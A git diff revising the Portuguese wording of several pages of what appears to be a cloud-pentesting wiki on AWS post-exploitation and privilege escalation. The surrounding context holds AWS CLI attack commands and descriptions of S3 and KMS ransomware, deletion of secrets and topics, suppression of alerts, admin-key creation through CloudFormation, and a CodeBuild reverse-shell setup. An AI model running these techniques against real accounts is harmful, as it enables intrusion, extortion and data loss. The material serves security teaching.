diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index 3833b8791..b02d5f699 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -14,11 +14,11 @@ Para mais informações sobre acesso IAM:
 
 Se você **permitir que uma conta externa (A)** acesse um **papel** em sua conta, você provavelmente terá **0 visibilidade** sobre **quem pode exatamente acessar essa conta externa**. Isso é um problema, porque se outra conta externa (B) puder acessar a conta externa (A), é possível que **B também consiga acessar sua conta**.
 
-Portanto, ao permitir que uma conta externa acesse um papel em sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir o papel em sua organização**. Como a **conta externa B não saberá essa string**, mesmo que tenha acesso à A, **não conseguirá acessar seu papel**.
+Portanto, ao permitir que uma conta externa acesse um papel em sua conta, é possível especificar um `ExternalId`. Esta é uma string "secreta" que a conta externa (A) **precisa especificar** para **assumir o papel em sua organização**. Como a **conta externa B não saberá essa string**, mesmo que tenha acesso a A, **não conseguirá acessar seu papel**.
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-No entanto, observe que esse `ExternalId` "secreto" **não é um segredo**, qualquer um que puder **ler a política de assumir papel do IAM poderá vê-lo**. Mas, desde que a conta externa A saiba, mas a conta externa **B não saiba**, isso **impede B de abusar de A para acessar seu papel**.
+No entanto, observe que esse `ExternalId` "secreto" **não é um segredo**, qualquer um que puder **ler a política de assumir papel do IAM poderá vê-lo**. Mas, enquanto a conta externa A souber, mas a conta externa **B não souber**, isso **impede B de abusar de A para acessar seu papel**.
 
 Exemplo:
 ```json
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 3428ab3bf..4c4eeffe7 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -12,15 +12,15 @@ Para mais informações, consulte:
 
 ### Criptografar/Descriptografar informações
 
-`fileb://` e `file://` são esquemas URI usados em comandos AWS CLI para especificar o caminho para arquivos locais:
+`fileb://` e `file://` são esquemas URI usados em comandos da AWS CLI para especificar o caminho para arquivos locais:
 
 - `fileb://:` Lê o arquivo em modo binário, comumente usado para arquivos não-texto.
-- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos de codificação especiais.
+- `file://:` Lê o arquivo em modo texto, tipicamente usado para arquivos de texto simples, scripts ou JSON que não têm requisitos especiais de codificação.
 
 > [!TIP]
 > Observe que se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64. (fileb://)
 
-- Usando uma **chave** simétrica
+- Usando uma chave **simétrica**
 ```bash
 # Encrypt data
 aws kms encrypt \
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
 Há outra maneira de realizar um Ransomware KMS Global, que envolveria os seguintes passos:
 
 - Criar uma nova **chave com um material de chave** importado pelo atacante
-- **Recriptografar dados mais antigos** criptografados com a versão anterior com a nova.
+- **Recriptografar dados antigos** criptografados com a versão anterior com a nova.
 - **Excluir a chave KMS**
 - Agora, apenas o atacante, que possui o material de chave original, poderá descriptografar os dados criptografados
 
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
 --pending-window-in-days 7
 ```
 > [!CAUTION]
-> Observe que a AWS agora **impede que as ações anteriores sejam realizadas de uma conta cruzada:**
+> Note que a AWS agora **impede que as ações anteriores sejam realizadas de uma conta cruzada:**
 
 <figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 463c9a239..3b15daa54 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md
 
 ### Roubar Requisições de URL de Outros Lambdas & Requisições de Extensões
 
-Abusando das Camadas do Lambda, também é possível abusar de extensões e persistir no lambda, mas também roubar e modificar requisições.
+Abusando de Lambda Layers, também é possível abusar de extensões e persistir no lambda, mas também roubar e modificar requisições.
 
 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
index 81cb48583..3cc4cade8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -18,7 +18,7 @@ Note que o bootstrap carrega o código do usuário como um módulo, então qualq
 
 ## Roubo de Requisições Lambda
 
-O objetivo deste ataque é fazer com que o código do usuário execute um processo malicioso **`bootstrap.py`** dentro do processo **`bootstrap.py`** que manipula a requisição vulnerável. Dessa forma, o processo **bootstrap malicioso** começará a **comunicar-se com o processo init** para manipular as requisições enquanto o bootstrap **legítimo** está **preso** executando o malicioso, de modo que não pedirá requisições ao processo init.
+O objetivo deste ataque é fazer com que o código do usuário execute um processo malicioso **`bootstrap.py`** dentro do processo **`bootstrap.py`** que manipula a requisição vulnerável. Dessa forma, o processo **malicioso bootstrap** começará a **comunicar-se com o processo init** para manipular as requisições enquanto o bootstrap **legítimo** está **preso** executando o malicioso, de modo que não pedirá requisições ao processo init.
 
 Esta é uma tarefa simples de alcançar, pois o código do usuário está sendo executado pelo legítimo processo **`bootstrap.py`**. Assim, o atacante poderia:
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
index 29ff5e526..4481bca49 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ### Restaurar antigos snapshots de DB
 
-Se o DB tiver snapshots, você pode ser capaz de **encontrar informações sensíveis atualmente deletadas em antigos snapshots**. **Restaure** o snapshot em um **novo banco de dados** e verifique.
+Se o DB tiver snapshots, você pode **encontrar informações sensíveis atualmente deletadas em antigos snapshots**. **Restaure** o snapshot em um **novo banco de dados** e verifique.
 
 ### Restaurar Snapshots de Instância
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
index 2b26de28f..6ae84c79e 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
@@ -12,7 +12,7 @@ Para mais informações, consulte:
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Se o atacante tiver permissões suficientes, ele poderia tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
+Se o atacante tiver permissões suficientes, ele pode tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem acidentalmente registrados, o atacante pode potencialmente usar essas informações para escalar seus privilégios ou realizar ações não autorizadas.
+Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante pode potencialmente usar essas informações para escalar suas permissões ou realizar ações não autorizadas.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
index 04a8fe2f2..650287b4d 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
@@ -21,18 +21,18 @@ Por exemplo, **airflow** pode estar armazenando **código** de **DAGs** lá, ou
 
 ### Ransomware S3
 
-Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Ele então torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
+Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Em seguida, torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
 
-O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração de bucket inadequada que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais.
+O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração inadequada do bucket que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais.
 
-Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware a esse bucket específico.
+Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware naquele bucket específico.
 
 Usando a API da AWS, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave.
 
 Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos.
 
-Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
+Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente nomeado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
 
-**Para mais informações** [**verifique a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+**Para mais informações** [**consulte a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
index a12a4df61..3022d0585 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - Pós Exploração do Secrets Manager
+# AWS - Secrets Manager Pós Exploração
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -32,7 +32,7 @@ aws secretsmanager update-secret \
 --secret-id MyTestSecret \
 --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
 ```
-### DoS Deleting Secret
+### DoS Deletando Segredo
 
 O número mínimo de dias para deletar um segredo é 7
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
index e9f3c640b..29eda45ff 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md
@@ -17,7 +17,7 @@ Enviar um e-mail.
 aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
 aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
 ```
-Ainda a ser testado.
+Ainda a testar.
 
 ### `ses:SendRawEmail`
 
@@ -33,7 +33,7 @@ Envie um email com base em um modelo.
 ```bash
 aws ses  send-templated-email --source <value> --destination <value> --template <value>
 ```
-Ainda a ser testado.
+Ainda a testar.
 
 ### `ses:SendBulkTemplatedEmail`
 
@@ -59,7 +59,7 @@ Ainda a ser testado.
 
 ### `ses:SendCustomVerificationEmail`
 
-Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail modelo.
+Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail de modelo.
 ```bash
 aws ses send-custom-verification-email --email-address <value> --template-name <value>
 aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
index 249beeca4..a1db5acd2 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - SNS Pós-Exploração
+# AWS - SNS Pós Exploração
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -12,7 +12,7 @@ Para mais informações:
 
 ### Interromper Mensagens
 
-Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectável.
+Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectado.
 
 ### `sns:DeleteTopic`
 
@@ -20,7 +20,7 @@ Um atacante poderia deletar um tópico SNS inteiro, causando perda de mensagens
 ```bash
 aws sns delete-topic --topic-arn <value>
 ```
-**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicativos que utilizam o tópico excluído.
+**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que utilizam o tópico excluído.
 
 ### `sns:Publish`
 
@@ -36,9 +36,9 @@ Um atacante poderia modificar os atributos de um tópico SNS, potencialmente afe
 ```bash
 aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
 ```
-**Impacto Potencial**: Configurações incorretas levando a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
+**Impacto Potencial**: Erros de configuração que levam a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
 
-### `sns:Subscribe` , `sns:Unsubscribe`
+### `sns:Subscribe`, `sns:Unsubscribe`
 
 Um atacante poderia se inscrever ou cancelar a inscrição em um tópico SNS, potencialmente ganhando acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicativos que dependem do tópico.
 ```bash
@@ -47,7 +47,7 @@ aws sns unsubscribe --subscription-arn <value>
 ```
 **Impacto Potencial**: Acesso não autorizado a mensagens, interrupção do serviço para aplicações que dependem do tópico afetado.
 
-### `sns:AddPermission` , `sns:RemovePermission`
+### `sns:AddPermission`, `sns:RemovePermission`
 
 Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, ou revogar permissões para usuários legítimos, causando interrupções no funcionamento normal de aplicações que dependem do tópico.
 ```css
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
index d7211e2bc..f35ecbbba 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md
@@ -17,7 +17,7 @@ Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS,
 aws sqs send-message --queue-url <value> --message-body <value>
 aws sqs send-message-batch --queue-url <value> --entries <value>
 ```
-**Impacto Potencial**: Exploração de vulnerabilidades, Corrupção de dados, ações não intencionais ou exaustão de recursos.
+**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
 
 ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
index 722447456..836c9bd49 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md
@@ -1,8 +1,8 @@
-# AWS - SSO & identitystore Pós Exploração
+# AWS - SSO e identitystore Pós Exploração
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## SSO & identitystore
+## SSO e identitystore
 
 Para mais informações, consulte:
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
index 5ceb9907e..291e00810 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md
@@ -45,7 +45,7 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
 
 ### `states:StopExecution`
 
-Um atacante com esta permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
+Um atacante com essa permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
 
 > [!WARNING]
 > Esta ação não é suportada por **máquinas de estado expressas**.
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
index 1490fd66e..ef184a48a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md
@@ -13,11 +13,11 @@ Para mais informações:
 ### De Credenciais IAM para Console
 
 Se você conseguiu obter algumas credenciais IAM, pode estar interessado em **acessar o console da web** usando as seguintes ferramentas.\
-Note que o usuário/papel deve ter a permissão **`sts:GetFederationToken`**.
+Observe que o usuário/role deve ter a permissão **`sts:GetFederationToken`**.
 
 #### Script personalizado
 
-O seguinte script usará o perfil padrão e uma localização padrão da AWS (não gov e não cn) para lhe fornecer uma URL assinada que você pode usar para fazer login no console da web:
+O seguinte script usará o perfil padrão e uma localização padrão da AWS (não gov e não cn) para fornecer uma URL assinada que você pode usar para fazer login no console da web:
 ```bash
 # Get federated creds (you must indicate a policy or they won't have any perms)
 ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
 signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
 
 
-
 # Give the URL to login
 echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
 ```
@@ -65,7 +64,7 @@ pip install aws-consoler
 aws_consoler [params...] #This will generate a link to login into the console
 ```
 > [!WARNING]
-> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça uma função para assumir.
+> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça um papel para assumir.
 
 #### aws-vault
 
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
 
 ### **Contornar restrições de User-Agent do Python**
 
-Se houver uma **restrição para realizar certas ações com base no user agent** usado (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **conectar-se ao console da web via um navegador**, ou você pode diretamente **modificar o user-agent do boto3** fazendo:
+Se houver uma **restrição para realizar certas ações com base no user agent** usado (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **conectar-se ao console da web via um navegador**, ou você pode **modificar diretamente o user-agent do boto3** fazendo:
 ```bash
 # Shared by ex16x41
 # Create a client
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
index 0ee49f58f..d5246690d 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md
@@ -29,7 +29,7 @@ aws --region <region> apigateway get-api-key --api-key <key> --include-value
 
 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
 
-Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar um lambda vulnerável).
+Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar uma lambda vulnerável).
 ```bash
 aws apigateway update-rest-api \
 --rest-api-id api-id \
@@ -39,7 +39,7 @@ aws apigateway update-rest-api \
 
 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
 
-> [!NOTE]
+> [!NOTA]
 > Necessita de teste
 
 Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tem um papel IAM anexado**. O atacante pode então **disparar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao papel IAM**.
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 735576e8e..49a24e350 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -24,11 +24,11 @@ Na página seguinte, você tem um **exemplo de exploração** com a permissão a
 iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
 {{#endref}}
 
-**Impacto Potencial:** Privesc para o papel de serviço cloudformation especificado.
+**Impacto Potencial:** Privesc para o papel de serviço do cloudformation especificado.
 
 ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
 
-Neste caso, você pode **abusar de uma pilha cloudformation existente** para atualizá-la e escalar privilégios como no cenário anterior:
+Neste caso, você pode **abusar de uma pilha de cloudformation existente** para atualizá-la e escalar privilégios como no cenário anterior:
 ```bash
 aws cloudformation update-stack \
 --stack-name privesc \
@@ -53,7 +53,7 @@ A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesm
 
 Um atacante com permissões para **passar um papel e criar & executar um ChangeSet** pode **criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation** assim como com o CreateStack ou UpdateStack.
 
-A seguinte exploração é uma **variação do**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
+A seguinte exploração é uma **variação da**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
 ```bash
 aws cloudformation create-change-set \
 --stack-name privesc \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index 081116f2c..7a55b4389 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -2,7 +2,7 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Um atacante poderia, por exemplo, usar um **template de cloudformation** que gera **chaves para um usuário admin** como:
+Um atacante poderia, por exemplo, usar um **cloudformation template** que gera **chaves para um usuário admin** como:
 ```json
 {
 "Resources": {
@@ -55,7 +55,7 @@ Um atacante poderia, por exemplo, usar um **template de cloudformation** que ger
 }
 }
 ```
-Então **gere a pilha do cloudformation**:
+Então **gerar a pilha do cloudformation**:
 ```bash
 aws cloudformation create-stack --stack-name privesc \
 --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 62b9949fb..af6e0a312 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -12,7 +12,7 @@ Obtenha mais informações em:
 
 ### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
 
-Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token da função iam atribuída ao projeto:
+Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token do papel iam atribuído ao projeto:
 
 {{#tabs }}
 {{#tab name="StartBuild" }}
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
 ```
 {{#endtab }}
 
-{{#tab name="Exemplo2" }}
+{{#tab name="Example2" }}
 ```bash
 # Generated by AI, not tested
 # Create a buildspec.yml file with reverse shell command
@@ -289,9 +289,9 @@ Para mais informações [**verifique a documentação**](https://docs.aws.amazon
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de gravação, pode obter execução de comandos no processo do CodeBuild.
+Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
 
-Nota: a elevação de privilégios é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante.
+Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante.
 ```bash
 aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
 
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name <project-name>
 
 # Wait for the reverse shell :)
 ```
-Você pode usar algo como este **buildspec** para obter um **reverse shell**:
+Você pode usar algo como isso **buildspec** para obter um **reverse shell**:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -317,13 +317,13 @@ build:
 commands:
